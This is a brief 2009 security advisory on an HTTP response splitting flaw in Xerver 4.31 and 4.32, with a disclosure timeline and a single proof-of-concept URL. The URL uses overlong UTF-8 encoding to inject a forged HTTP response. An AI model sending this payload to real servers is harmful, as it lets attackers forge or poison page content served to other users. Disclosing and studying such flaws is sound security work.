Xerver 4.31, 4.32 HTTP Response Splitting

Discovered: 04-10-08
By: SecureState R&D Team - sasquatch
Vendor Notified: 04-11-08
Vendor Response: 04-13-08
New version also vulnerable:  10-07-09 Tested (Win32 v4.32)
Vendor Notified: 10-07-09
Vendor Response: NONE
Published:  11-18-09

Proof of Concept:

/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbody%3E%3Cimg%20src%3D%22http%3A//www.website.com/test.gif%22%3E%3C/body%3E%3C/html%3E%8D%C0%8A%C0%8D%C0%8A